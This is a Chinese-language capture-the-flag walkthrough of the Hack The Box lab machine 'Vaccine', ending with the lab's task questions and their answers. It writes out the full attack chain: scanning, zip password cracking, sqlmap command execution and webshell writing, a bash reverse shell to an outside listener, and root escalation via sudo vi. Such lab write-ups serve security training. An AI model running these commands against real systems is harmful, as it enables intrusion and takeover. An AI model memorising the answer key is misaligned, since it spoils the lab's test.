vaccine

老规矩,扫描
nmap -A  10.129.89.216 -v --open

file

ftp匿名登录,有个backup.zip文件, 下载下来看下

file

backup.zip文件需要密码, 使用john进行破解,获取到密码741852963
zip2john backup.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash

file

解压后, 查看index.php发现登录是进行hash对比, hash值是cmd5加密,解密后得到qwerty789
cat index.php

file https://www.somd5.com/ file

用上面的信息访问下我们的网站

file admin qwerty789 登录 file

搜索框有个搜索, 尝试用sqlmap跑下看看有没有注入, 同时需要带上phpsession的cookie
sqlmap -url "http://10.129.89.216/dashboard.php?search=1" --cookie="PHPSESSID=2drpkfp389uc4skergc81mqdqs" --os-shell
#直接用sqlmap写webshell,但是/var/www/html目录没有写入权限
sqlmap -url "http://10.129.178.244/dashboard.php?search=1" --cookie="PHPSESSID=88agokct14hpl4mgti1nboni8p" --file-write=reverse.php --file-dest=/var/www/html/reverse.php

可以看到通过sqlmap获取了一个os shell , file

获取一个远程tty,获取地一个flag,相对来说,反弹shell 我更喜欢用msf,当然获取用户名密码以后可以直接使用ssh登录
nc -lnvp 4444
bash -c "bash -i >& /dev/tcp/10.10.16.130/4444 0>&1"

python3 -c 'import pty;pty.spawn("/bin/bash")'

file file file

file

sudo -l看下哪些程序有特权,发现vi可以
sudo -l
P@s5w0rd!

file

提权
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

#在vi命令模式下输入
:!bash

file file

file

  • Task 1 Besides SSH and HTTP, what other service is hosted on this box? 除了 SSH 和 HTTP,这个盒子上还有什么其他服务?

    ftp
  • Task 2 This service can be configured to allow login with any password for specific username. What is that username? 此服务可以配置为允许使用特定用户名的任何密码登录。 那个用户名是什么?

    anonymous
  • Task 3 What is the name of the file downloaded over this service? 通过此服务下载的文件的名称是什么

    backup.zip
  • Task 4 What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts? John The Ripper 工具集附带什么脚本并以允许破解尝试的格式从受密码保护的 zip 存档生成哈希?

    zip2john
  • Task 5 What is the password for the admin user on the website? 网站上admin用户的密码是多少?

    qwerty789
  • Task 6 What option can be passed to sqlmap to try to get command execution via the sql injection? 可以将什么选项传递给 sqlmap 以尝试通过 sql 注入执行命令

    --os-shell
  • Task 7 What program can the postgres user run as root using sudo? postgres 用户可以使用 sudo 作为 root 运行什么程序?

    vi